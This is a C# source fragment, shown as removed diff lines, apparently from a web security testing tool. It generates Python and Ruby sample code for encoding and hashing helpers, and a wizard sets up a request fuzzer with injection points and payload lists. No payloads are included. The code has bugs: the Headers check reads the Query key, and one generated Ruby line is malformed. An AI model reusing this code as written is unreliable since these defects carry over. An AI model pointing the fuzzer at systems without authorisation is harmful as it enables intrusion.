encoded value"); - Py.AppendLine("dec_value = Tools.Base64Decode(enc_value)"); - - Rb.AppendLine("#Base64 encode 'abcd'"); - Rb.AppendLine("enc_value = Tools.base64_encode('abcd')"); - Rb.AppendLine("#now Base64 decode the encoded value"); - Rb.AppendLine("dec_value = Tools.base64_decode(enc_value)"); - break; - case ("hex"): - Py.AppendLine("#Hex encode 'abcd'"); - Py.AppendLine("enc_value = Tools.HexEncode('abcd')"); - Py.AppendLine("#now Hex decode the encoded value"); - Py.AppendLine("dec_value = Tools.HexDecode(enc_value)"); - - Rb.AppendLine("#Hex encode 'abcd'"); - Rb.AppendLine("enc_value = Tools.hex_encode('abcd')"); - Rb.AppendLine("#now Hex decode the encoded value"); - Rb.AppendLine("dec_value = Tools.hex_decode(enc_value)"); - break; - case ("html"): - Py.AppendLine("#Html encode ''"); - Py.AppendLine("enc_value = Tools.HtmlEncode('')"); - Py.AppendLine("#now Html decode the encoded value"); - Py.AppendLine("dec_value = Tools.HtmlDecode(enc_value)"); - - Rb.AppendLine("#Html encode ''"); - Rb.AppendLine("enc_value = Tools.html_encode('')"); - Rb.AppendLine("#now Html decode the encoded value"); - Rb.AppendLine("dec_value = Tools.html_decode(enc_value)"); - break; - case ("url"): - Py.AppendLine("#Url encode ''"); - Py.AppendLine("enc_value = Tools.UrlEncode('')"); - Py.AppendLine("#now Url decode the encoded value"); - Py.AppendLine("dec_value = Tools.UrlDecode(enc_value)"); - - Rb.AppendLine("#Url encode ''"); - Rb.AppendLine("enc_value = Tools.url_encode('')"); - Rb.AppendLine("#now Url decode the encoded value"); - Rb.AppendLine("dec_value = Tools.url_decode(enc_value)"); - break; - case ("hash"): - Py.AppendLine("#Create MD5 hash of 'abcd'"); - Py.AppendLine(@"print ""MD5 of 'abcd' is "" + Tools.md5('abcd')"); - Py.AppendLine("#Create SHA1 hash of 'abcd'"); - Py.AppendLine(@"print ""SHA1 of 'abcd' is "" + Tools.sha1('abcd')"); - Py.AppendLine("#Create SHA256 hash of 'abcd'"); - Py.AppendLine(@"print ""SHA256 of 'abcd' is "" + Tools.sha256('abcd')"); - Py.AppendLine("#Create SHA384 hash of 'abcd'"); - Py.AppendLine(@"print ""SHA384 of 'abcd' is "" + Tools.sha384('abcd')"); - Py.AppendLine("#Create SHA512 hash of 'abcd'"); - Py.AppendLine(@"print ""SHA512 of 'abcd' is "" + Tools.sha512('abcd')"); - - Rb.AppendLine("#Create MD5 hash of 'abcd'"); - Rb.AppendLine(@"puts ""MD5 of 'abcd' is "" + Tools.md5('abcd')"); - Rb.AppendLine("#Create SHA1 hash of 'abcd'"); - Rb.AppendLine(@"puts ""SHA1 of 'abcd' is "" + Tools.sha1('abcd')"); - Rb.AppendLine("#Create SHA256 hash of 'abcd'"); - Rb.AppendLine(@"puts ""SHA256 of 'abcd' is "" + Tools.sha256('abcd')"); - Rb.AppendLine("#Create SHA384 hash of 'abcd'"); - Rb.AppendLine(@"puts ""SHA384 of 'abcd' is "" + Tools.sha384('abcd')"); - Rb.AppendLine("#Create SHA512 hash of 'abcd'"); - Rb.AppendLine(@"puts ""SHA512 of 'abcd' is "" + Tools.sha512('abcd')"); - break; - case ("diff"): - Py.AppendLine("value_one = 'aa bb cc dd'"); - Py.AppendLine("value_two = 'aa bx cc dd'"); - Py.AppendLine("print 'The percentage of differnce between the two strings is - ' + str(Tools.DiffLevel(value_one, value_two)) + '%'"); - - Rb.AppendLine("value_one = 'aa bb cc dd'"); - Rb.AppendLine("value_two = 'aa bx cc dd'"); - Rb.AppendLine("puts 'The percentage of differnce between the two strings is - ' + Tools.diff_level(value_one, value_two).to_s + '%'"); - break; - case ("exec"): - Py.AppendLine("#Run an external executable named test.exe located inside c:\\ drive"); - Py.AppendLine(@"Tools.Run(""c:\\test.exe"")"); - Py.AppendLine("#Run an external executable named test.exe located inside c:\\ drive and pass it some arguments"); - Py.AppendLine(@"Tools.RunWith(""c:\\test.exe"", ""-h 127.0.0.1"")"); - Py.AppendLine("#Similar to Tools.RunWith function but it executes test.exe in a command prompt and keeps the prompt open after test.exe terminates."); - Py.AppendLine(@"Tools.RunInShellWith(""c:\\test.exe"", ""-h 127.0.0.1"")#If you don't want to pass any arguments to the executable then simply use an empty string"); - - Rb.AppendLine("#Run an external executable named test.exe located inside c:\\ drive"); - Rb.AppendLine(@"Tools.run(""c:\\test.exe"")"); - Rb.AppendLine("#Run an external executable named test.exe located inside c:\\ drive and pass it some arguments"); - Rb.AppendLine(@"Tools.run_with(""c:\\test.exe"", ""-h 127.0.0.1"")"); - Rb.AppendLine("#Similar to Tools.run_with function but it executes test.exe in a command prompt and keeps the prompt open after test.exe terminates."); - Rb.AppendLine(@"Tools.run_in_shell_with(""c:\\test.exe"", ""-h 127.0.0.1"")#If you don't want to pass any arguments to the executable then simply use an empty string"); - break; - case ("debug"): - Py.AppendLine("#Debug plugins and scripts by printing trace messages. This similar to using the print command for debugging"); - Py.AppendLine("#The trace messages are listed in the 'Trace' area of the 'Dev' section"); - Py.AppendLine(@"Tools.Trace(""aaa"", ""bbb"")"); - Py.AppendLine("#Here aaa and bbb are just demo strings, you can pass any string value you want here."); - - Rb.AppendLine("#Debug plugins and scripts by printing trace messages. This similar to using the print command for debugging"); - Rb.AppendLine("#The trace messages are listed in the 'Trace' area of the 'Dev' section"); - Rb.AppendLine(@"Tools.trace(""aaa"", ""bbb"")"); - Rb.AppendLine("#Here aaa and bbb are just demo strings, you can pass any string value you want here."); - break; - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - - - - int FuzzCurrentStep = 0; - Dictionary FuzzInjectionPoints = new Dictionary(); - string[] FuzzPayloads = new string[]{}; - FileInfo FuzzPayloadsFile = null; - string FuzzInjectedBodyType = ""; - string FuzzInjectedBodyFormatPlugin = ""; - string FuzzLogSourceValue = ""; - - private void FuzzUseCustomLogSourceCB_CheckedChanged(object sender, EventArgs e) - { - FuzzLogSourceTB.Enabled = FuzzUseCustomLogSourceCB.Checked; - } - - private void FuzzStepZeroNextBtn_Click(object sender, EventArgs e) - { - FuzzInjectionPoints.Clear(); - - if (FuzzUseUiRB.Checked) - { - FuzzSessionPluginGrid.Visible = false; - FuzzSessionPluginMsgTB.Visible = false; - - this.FuzzCurrentStep = 2; - this.FuzzBaseTabs.SelectTab(2); - } - else - { - UpdateSelectedFuzzInjectionPointsList(); - FuzzSessionPluginGrid.Visible = true; - FuzzSessionPluginMsgTB.Visible = true; - - this.FuzzCurrentStep = 1; - this.FuzzBaseTabs.SelectTab(1); - } - } - - private void FuzzStepOnePreviousBtn_Click(object sender, EventArgs e) - { - this.FuzzCurrentStep = 0; - this.FuzzBaseTabs.SelectTab(0); - } - - private void FuzzStepOneNextBtn_Click(object sender, EventArgs e) - { - string Error = CheckFuzzStep1Input(); - if (Error.Length == 0) - { - this.FuzzCurrentStep = 2; - this.FuzzBaseTabs.SelectTab(2); - } - else - { - ShowFuzzStep1Error(Error); - } - } - - private void FuzzStepTwoPreviousBtn_Click(object sender, EventArgs e) - { - if (FuzzUseUiRB.Checked) - { - this.FuzzCurrentStep = 0; - this.FuzzBaseTabs.SelectTab(0); - } - else - { - this.FuzzCurrentStep = 1; - this.FuzzBaseTabs.SelectTab(1); - } - } - - private void FuzzStepTwoNextBtn_Click(object sender, EventArgs e) - { - string Error = CheckFuzzStep2Input(); - if (Error.Length == 0) - { - this.FuzzCurrentStep = 3; - this.FuzzBaseTabs.SelectTab(3); - } - else - { - ShowFuzzStep2Error(Error); - } - } - - private void FuzzStepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.FuzzCurrentStep = 2; - this.FuzzBaseTabs.SelectTab(2); - } - - private void FuzzSessionPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (FuzzSessionPluginGrid.SelectedRows == null) return; - if (FuzzSessionPluginGrid.SelectedRows.Count == 0) return; - - foreach (DataGridViewRow Row in FuzzSessionPluginGrid.Rows) - { - if (Row.Index == FuzzSessionPluginGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void FuzzBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (FuzzBaseTabs.SelectedIndex != this.FuzzCurrentStep) - FuzzBaseTabs.SelectTab(this.FuzzCurrentStep); - } - - void ShowFuzzStep1Error(string Text) - { - this.FuzzStep1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.FuzzStep1StatusTB.Visible = false; - } - else - { - this.FuzzStep1StatusTB.ForeColor = Color.Red; - this.FuzzStep1StatusTB.Visible = true; - } - } - - void ShowFuzzStep2Error(string Text) - { - this.FuzzStep2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.FuzzStep2StatusTB.Visible = false; - } - else - { - this.FuzzStep2StatusTB.ForeColor = Color.Red; - this.FuzzStep2StatusTB.Visible = true; - } - } - - void ShowFuzzStep3Error(string Text) - { - this.FuzzStep3StatusTB.Text = Text; - if (Text.Length == 0) - { - this.FuzzStep3StatusTB.Visible = false; - } - else - { - this.FuzzStep3StatusTB.ForeColor = Color.Red; - this.FuzzStep3StatusTB.Visible = true; - } - } - - private void FuzzParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (FuzzParameterTypeGrid.SelectedRows == null) return; - if (FuzzParameterTypeGrid.SelectedRows.Count == 0) return; - - FuzzBodyTypeGB.Visible = false; - FuzzAllParametersRB.Visible = false; - FuzzAllParametersRB.Checked = true; - FuzzListedParametersRB.Visible = false; - FuzzParametersNameListLbl.Visible = false; - FuzzParametersNameListTB.Visible = false; - FuzzAddPointLL.Visible = false; - - foreach (DataGridViewRow Row in FuzzParameterTypeGrid.Rows) - { - if (Row.Index == FuzzParameterTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - switch (Row.Cells[1].Value.ToString()) - { - case ("UrlPathParts"): - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = "Fuzz all UrlPathPart positions"; - FuzzListedParametersRB.Text = "Fuzz only UrlPathPart positions listed below"; - FuzzParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; - break; - case ("Query"): - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = "Fuzz all Query Parameters"; - FuzzListedParametersRB.Text = "Fuzz only Query Parameters listed below"; - FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - case ("Body"): - FuzzBodyTypeGrid.Rows.Clear(); - FuzzBodyTypeGrid.Rows.Add(false, "Normal"); - foreach(string Name in FormatPlugin.List()) - { - FuzzBodyTypeGrid.Rows.Add(false, Name); - } - FuzzBodyTypeGrid.Rows.Add(false, "Other Unknown/Custom"); - FuzzBodyTypeGrid.Visible = true; - - FuzzBodyCustomMsgTB.Visible = false; - FuzzBodyCustomStartLbl.Visible = false; - FuzzBodyCustomStartTB.Visible = false; - FuzzBodyCustomEndLbl.Visible = false; - FuzzBodyCustomEndTB.Visible = false; - - FuzzBodyTypeGB.Visible = true; - - break; - case ("Cookie"): - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = "Fuzz all Cookie Parameters"; - FuzzListedParametersRB.Text = "Fuzz only Cookie Parameters listed below"; - FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - case ("Headers"): - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = "Fuzz all Header Parameters"; - FuzzListedParametersRB.Text = "Fuzz only Header Parameters listed below"; - FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void FuzzBodyTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (FuzzBodyTypeGrid.SelectedRows == null) return; - if (FuzzBodyTypeGrid.SelectedRows.Count == 0) return; - - FuzzAllParametersRB.Visible = false; - FuzzAllParametersRB.Checked = true; - FuzzListedParametersRB.Visible = false; - FuzzParametersNameListLbl.Visible = false; - FuzzParametersNameListTB.Visible = false; - FuzzAddPointLL.Visible = false; - - FuzzBodyCustomMsgTB.Visible = false; - FuzzBodyCustomStartLbl.Visible = false; - FuzzBodyCustomStartTB.Visible = false; - FuzzBodyCustomEndLbl.Visible = false; - FuzzBodyCustomEndTB.Visible = false; - - foreach (DataGridViewRow Row in FuzzBodyTypeGrid.Rows) - { - if (Row.Index == FuzzBodyTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - if (Row.Index == 0) - { - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = "Fuzz all Body Parameters"; - FuzzListedParametersRB.Text = "Fuzz only Body Parameters listed below"; - FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - } - else if (Row.Index == FuzzBodyTypeGrid.Rows.Count - 1) - { - FuzzBodyCustomMsgTB.Visible = true; - FuzzBodyCustomStartLbl.Visible = true; - FuzzBodyCustomStartTB.Visible = true; - FuzzBodyCustomEndLbl.Visible = true; - FuzzBodyCustomEndTB.Visible = true; - FuzzAddPointLL.Visible = true; - } - else - { - FuzzAllParametersRB.Visible = true; - FuzzListedParametersRB.Visible = true; - FuzzParametersNameListLbl.Visible = true; - FuzzParametersNameListTB.Visible = true; - FuzzAddPointLL.Visible = true; - FuzzAllParametersRB.Text = string.Format("Fuzz all {0} Values", Row.Cells[1].Value.ToString()); - FuzzListedParametersRB.Text = string.Format("Fuzz only {0} Values at listed indexes", Row.Cells[1].Value.ToString()); - FuzzParametersNameListLbl.Text = "Enter the zero-based index positions of values one per line:"; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void FuzzListedParametersRB_CheckedChanged(object sender, EventArgs e) - { - FuzzParametersNameListTB.Enabled = FuzzListedParametersRB.Checked; - } - - private void FuzzAddPointLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ShowFuzzStep1Error(""); - - string ParameterType = ""; - string BodyType = ""; - string BodyFormatPlugin = ""; - string StartMarker = FuzzBodyCustomStartTB.Text; - string EndMarker = FuzzBodyCustomEndTB.Text; - string[] ParametersList = FuzzParametersNameListTB.Text.Split(new string[]{Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries); - - foreach(DataGridViewRow Row in FuzzParameterTypeGrid.Rows) - { - if((bool)Row.Cells[0].Value) - { - ParameterType = Row.Cells[1].Value.ToString(); - break; - } - } - if (ParameterType.Equals("Body")) - { - foreach (DataGridViewRow Row in FuzzBodyTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (Row.Index == 0) - { - BodyType = "Normal"; - } - else if (Row.Index == FuzzBodyTypeGrid.Rows.Count - 1) - { - BodyType = "Other"; - } - else - { - BodyType = "FormatPlugin"; - BodyFormatPlugin = Row.Cells[1].Value.ToString(); - } - break; - } - } - } - - switch (ParameterType) - { - case("UrlPathParts"): - if(FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["UrlPathParts"] = new string[]{}; - } - else - { - foreach (string P in ParametersList) - { - try - { - Int32.Parse(P); - } - catch - { - ShowFuzzStep1Error("UrlPathParts position must be a number"); - return; - } - } - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error("UrlPathParts positions list cannot be empty. Mention atleast one position."); - return; - } - FuzzInjectionPoints["UrlPathParts"] = ParametersList; - } - break; - case ("Query"): - if (FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["Query"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error("Query parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - FuzzInjectionPoints["Query"] = ParametersList; - } - break; - case ("Body"): - FuzzInjectedBodyType = BodyType; - FuzzInjectedBodyFormatPlugin = ""; - switch (BodyType) - { - case("Normal"): - if (FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["Body"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error("Body parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - FuzzInjectionPoints["Body"] = ParametersList; - } - break; - case ("Other"): - if (StartMarker.Length == 0 || EndMarker.Length == 0) - { - ShowFuzzStep1Error("Start or End markers cannot be empty."); - return; - } - if (StartMarker.Equals(EndMarker)) - { - ShowFuzzStep1Error("Start and End markers cannot be the same."); - return; - } - FuzzInjectionPoints["Body"] = new string[] { StartMarker, EndMarker }; - break; - case ("FormatPlugin"): - FuzzInjectedBodyFormatPlugin = BodyFormatPlugin; - if (FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["Body"] = new string[] { }; - } - else - { - foreach (string P in ParametersList) - { - try - { - Int32.Parse(P); - } - catch - { - ShowFuzzStep1Error(string.Format("{0} values position must be a number", BodyFormatPlugin)); - return; - } - } - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error(string.Format("{0} positions list cannot be empty. Mention atleast one position.", BodyFormatPlugin)); - return; - } - FuzzInjectionPoints["Body"] = ParametersList; - } - break; - } - break; - case ("Cookie"): - if (FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["Cookie"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error("Cookie parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - FuzzInjectionPoints["Cookie"] = ParametersList; - } - break; - case ("Headers"): - if (FuzzAllParametersRB.Checked) - { - FuzzInjectionPoints["Headers"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowFuzzStep1Error("Headers parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - FuzzInjectionPoints["Headers"] = ParametersList; - } - break; - } - FuzzBodyTypeGB.Visible = false; - FuzzAllParametersRB.Visible = false; - FuzzListedParametersRB.Visible = false; - FuzzParametersNameListLbl.Visible = false; - FuzzParametersNameListTB.Visible = false; - FuzzAddPointLL.Visible = false; - - foreach (DataGridViewRow Row in FuzzParameterTypeGrid.Rows) - { - Row.Cells[0].Value = false; - } - - UpdateSelectedFuzzInjectionPointsList(); - } - - void UpdateSelectedFuzzInjectionPointsList() - { - StringBuilder SB = new StringBuilder("Selected Injection Points:\r\n"); - if (FuzzInjectionPoints.Count > 0) - { - foreach (string Section in FuzzInjectionPoints.Keys) - { - SB.Append(Section); SB.Append(", "); - } - } - else - { - SB.Append("-"); - } - FuzzSelectedParametersListTB.Text = SB.ToString().TrimEnd().TrimEnd(','); - - } - - string CheckFuzzStep1Input() - { - if (FuzzInjectionPoints.Count == 0) - { - return "No injection points were selected. Select atleast one injection point before proceeding."; - } - return ""; - } - - string CheckFuzzStep2Input() - { - if (FuzzLoadPayloadsFromFileRB.Checked) - { - if (FuzzPayloadsFile == null || FuzzPayloadsFileLbl.Text.Trim().Length == 0) - { - return "No file was selected to load payloads"; - } - } - else - { - FuzzPayloads = FuzzPayloadsListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - if (FuzzPayloads.Length == 0) - { - return "No payloads were entered by you."; - } - } - return ""; - } - - private void LoadPayloadsFileLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - while (PayloadFileOpener.ShowDialog() == DialogResult.OK) - { - FuzzPayloadsFile = new FileInfo(PayloadFileOpener.FileName); - try - { - StreamReader SR = new StreamReader(FuzzPayloadsFile.FullName); - FuzzPayloadsListTB.Text = SR.ReadToEnd(); - SR.Close(); - FuzzPayloadsFileLbl.Text = FuzzPayloadsFile.FullName; - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Error reading selected file: {0}", Exp)); - } - break; - } - } - - private void FuzzLoadPayloadsFromFileRB_CheckedChanged(object sender, EventArgs e) - { - FuzzLoadPayloadsFileLL.Enabled = FuzzLoadPayloadsFromFileRB.Checked; - } - - private void FuzzUsePayloadsFromListRB_CheckedChanged(object sender, EventArgs e) - { - FuzzPayloadsListTB.Enabled = FuzzUsePayloadsFromListRB.Checked; - } - - private void FuzzCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowFuzzStep3Error(""); - string SessionPluginName = ""; - if (FuzzUseCustomLogSourceCB.Checked) - { - if (FuzzLogSourceTB.Text.Trim().Length > 0) - { - try - { - Request Req = new Request("http://a.site"); - Req.SetSource(FuzzLogSourceTB.Text.Trim()); - FuzzLogSourceValue = FuzzLogSourceTB.Text.Trim(); - } - catch(Exception Exp) - { - ShowFuzzStep3Error(string.Format("Invalid Log source - {0}", Exp.Message)); - return; - } - } - else - { - ShowFuzzStep3Error("Log source cannot be empty. Either uncheck this option or enter a valid log source"); - return; - } - } - - foreach (DataGridViewRow Row in FuzzSessionPluginGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (Row.Index == 0) - { - SessionPluginName = ""; - } - else - { - SessionPluginName = Row.Cells[1].Value.ToString(); - } - break; - } - } - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Py.AppendLine(); - Rb.AppendLine(); - - if (FuzzUseUiRB.Checked) - { - Py.AppendLine("#We display a GUI based wizard to user and get the Fuzzer setting from user."); - Py.AppendLine("f = Fuzzer.FromUi(req)"); - - Rb.AppendLine("#We display a GUI based wizard to user and get the Fuzzer setting from user."); - Rb.AppendLine("f = Fuzzer.FromUi(req)"); - } - else - { - Py.AppendLine("#We create a new Fuzzer to fuzz the request 'req'"); - Py.AppendLine("f = Fuzzer(req)"); - - Rb.AppendLine("#We create a new Fuzzer to fuzz the request 'req'"); - Rb.AppendLine("f = Fuzzer.new(req)"); - - if (FuzzInjectionPoints.ContainsKey("UrlPathParts")) - { - if (FuzzInjectionPoints["UrlPathParts"].Length == 0) - { - Py.AppendLine("#Select all UrlPathparts for injection"); - Py.AppendLine("f.InjectUrl()"); - - Rb.AppendLine("#Select all UrlPathparts for injection"); - Rb.AppendLine("f.inject_url"); - } - else - { - Py.AppendLine("#Select the UrlPathpart at specified positions for injection"); - Rb.AppendLine("#Select the UrlPathpart at specified positions for injection"); - foreach (string Position in FuzzInjectionPoints["UrlPathParts"]) - { - Py.AppendLine(string.Format("f.InjectUrl({0})", Position.Trim())); - - Rb.AppendLine(string.Format("f.inject_url({0})", Position.Trim())); - } - } - } - if (FuzzInjectionPoints.ContainsKey("Query")) - { - if (FuzzInjectionPoints["Query"].Length == 0) - { - Py.AppendLine("#Select all Query parameters for injection"); - Py.AppendLine("f.InjectQuery()"); - - Rb.AppendLine("#Select all Query parameters for injection"); - Rb.AppendLine("f.inject_query()"); - } - else - { - Py.AppendLine("#Select the specified Query parameters for injection"); - Rb.AppendLine("#Select the specified Query parameters for injection"); - foreach (string Parameter in FuzzInjectionPoints["Query"]) - { - Py.AppendLine(string.Format(@"f.InjectQuery(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"f.inject_query(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - if (FuzzInjectionPoints.ContainsKey("Body")) - { - switch(FuzzInjectedBodyType) - { - case ("Normal"): - if (FuzzInjectionPoints["Body"].Length == 0) - { - Py.AppendLine("#Select all Body parameters for injection"); - Py.AppendLine("f.InjectBody()"); - - Rb.AppendLine("#Select all Body parameters for injection"); - Rb.AppendLine("f.inject_body"); - } - else - { - Py.AppendLine("#Select the specified Body parameters for injection"); - Rb.AppendLine("#Select the specified Body parameters for injection"); - foreach (string Parameter in FuzzInjectionPoints["Body"]) - { - Py.AppendLine(string.Format(@"f.InjectBody(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"f.inject_body(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - break; - case ("Other"): - Py.AppendLine("#Inject values between the specified start and end marker"); - Py.AppendLine(string.Format(@"f.InjectBody(""{0}"", ""{1}"")", FuzzInjectionPoints["Body"][0].Replace("\"", "\\\""), FuzzInjectionPoints["Body"][1].Replace("\"", "\\\""))); - - Rb.AppendLine("#Inject values between the specified start and end marker"); - Rb.AppendLine(string.Format(@"f.inject_body(""{0}"", ""{1}"")", FuzzInjectionPoints["Body"][0].Replace("\"", "\\\""), FuzzInjectionPoints["Body"][1].Replace("\"", "\\\""))); - break; - case ("FormatPlugin"): - Py.AppendLine("#Specify the body format of the Request"); - Py.AppendLine(string.Format(@"f.BodyFormat = FormatPlugin.Get(""{0}"")", FuzzInjectedBodyFormatPlugin)); - - Rb.AppendLine("#Specify the body format of the Request"); - Rb.AppendLine(string.Format(@"f.body_format = FormatPlugin.get(""{0}"")", FuzzInjectedBodyFormatPlugin)); - - if (FuzzInjectionPoints["Body"].Length == 0) - { - Py.AppendLine("#Select all values for injection"); - Py.AppendLine("f.InjectBody()"); - - Rb.AppendLine("#Select all values for injection"); - Rb.AppendLine("f.inject_body"); - } - else - { - Py.AppendLine("#Select value at the specified positions for injection"); - Rb.AppendLine("#Select value at the specified positions for injection"); - foreach (string Parameter in FuzzInjectionPoints["Body"]) - { - Py.AppendLine(string.Format("f.InjectBody({0})", Parameter.Trim())); - - Rb.AppendLine(string.Format("f.inject_body({0})", Parameter.Trim())); - } - } - break; - } - - } - if (FuzzInjectionPoints.ContainsKey("Cookie")) - { - if (FuzzInjectionPoints["Cookie"].Length == 0) - { - Py.AppendLine("#Select all Cookie parameters for injection"); - Py.AppendLine("f.InjectCookie()"); - - Rb.AppendLine("#Select all Cookie parameters for injection"); - Rb.AppendLine("f.inject_cookie)"); - } - else - { - Py.AppendLine("#Select the specified Cookie parameters for injection"); - Rb.AppendLine("#Select the specified Cookie parameters for injection"); - foreach (string Parameter in FuzzInjectionPoints["Cookie"]) - { - Py.AppendLine(string.Format(@"f.InjectCookie(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"f.inject_cookie(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - if (FuzzInjectionPoints.ContainsKey("Headers")) - { - if (FuzzInjectionPoints["Query"].Length == 0) - { - Py.AppendLine("#Select all Header parameters for injection"); - Py.AppendLine("f.InjectHeaders()"); - - Rb.AppendLine("#Select all Header parameters for injection"); - Rb.AppendLine("f.inject_headers"); - } - else - { - Py.AppendLine("#Select the specified Header parameters for injection"); - Rb.AppendLine("#Select the specified Header parameters for injection"); - foreach (string Parameter in FuzzInjectionPoints["Headers"]) - { - Py.AppendLine(string.Format(@"f.InjectHeaders(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"f.inject_headers(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - - if (SessionPluginName.Length > 0) - { - Py.AppendLine("#Use a Session Plugin during Fuzzing"); - Py.AppendLine(string.Format(@"f.SessionHandler = SessionPlugin.Get(""{0}"")", SessionPluginName)); - - Rb.AppendLine("#Use a Session Plugin during Fuzzing"); - Rb.AppendLine(string.Format(@"f.session_handler = SessionPlugin.get(""{0}"")", SessionPluginName)); - } - } - - if (FuzzUseCustomLogSourceCB.Checked) - { - Py.AppendLine("#Set a custom source name for the Fuzzer logs"); - Py.AppendLine(string.Format(@"f.SetLogSource(""{0}"")", FuzzLogSourceValue)); - - Rb.AppendLine("#Set a custom source name for the Fuzzer logs"); - Rb.AppendLine("#Use a Session Plugin during Fuzzing"); - Rb.AppendLine(string.Format(@"f.set_log_source(""{0}"")", FuzzLogSourceValue)); - } - - if (FuzzUsePayloadsFromListRB.Checked) - { - Py.AppendLine(); - Rb.AppendLine(); - - Py.AppendLine("#Store the payloads in a list"); - Py.Append("payloads = ["); - - Rb.AppendLine("#Store the payloads in a list"); - Rb.Append("payloads = ["); - - for (int i = 0; i < this.FuzzPayloads.Length; i++) - { - string Payload = this.FuzzPayloads[i]; - - Py.Append("\""); Py.Append(Tools.EscapeDoubleQuotes(Payload)); Py.Append("\""); - Rb.Append("\""); Rb.Append(Tools.EscapeDoubleQuotes(Payload)); Rb.Append("\""); - - if (i < (this.FuzzPayloads.Length - 1)) - { - Py.Append(","); - Rb.Append(","); - } - } - Py.Append("]"); - Py.AppendLine(); - - Rb.Append("]"); - Rb.AppendLine(); - } - else - { - Py.AppendLine(); - Py.AppendLine("#Open the payloads file and load payload from it"); - Py.AppendLine(string.Format(@"p_file = open(""{0}"")", FuzzPayloadsFile.FullName.Replace("\\", "\\\\"))); - Py.AppendLine("payloads = []"); - Py.AppendLine("payloads_with_newline = p_file.readlines()"); - Py.AppendLine("p_file.close()"); - Py.AppendLine("for pwnl in payloads_with_newline:"); - Py.Append(" "); Py.AppendLine("payloads.append(pwnl.rstrip())"); - Py.AppendLine(); - - Rb.AppendLine(); - Rb.AppendLine("#Open the payloads file and load payload from it"); - Rb.AppendLine(string.Format(@"p_file = File.open(""{0}"")", FuzzPayloadsFile.FullName.Replace("\\", "\\\\"))); - Rb.AppendLine("payloads = []"); - Rb.AppendLine("payloads_with_newline = p_file.readlines"); - Rb.AppendLine("p_file.close"); - Rb.AppendLine("for pwnl in payloads_with_newline"); - Rb.Append(" "); Rb.AppendLine("payloads.push(pwnl.rstrip)"); - Rb.AppendLine("end"); - 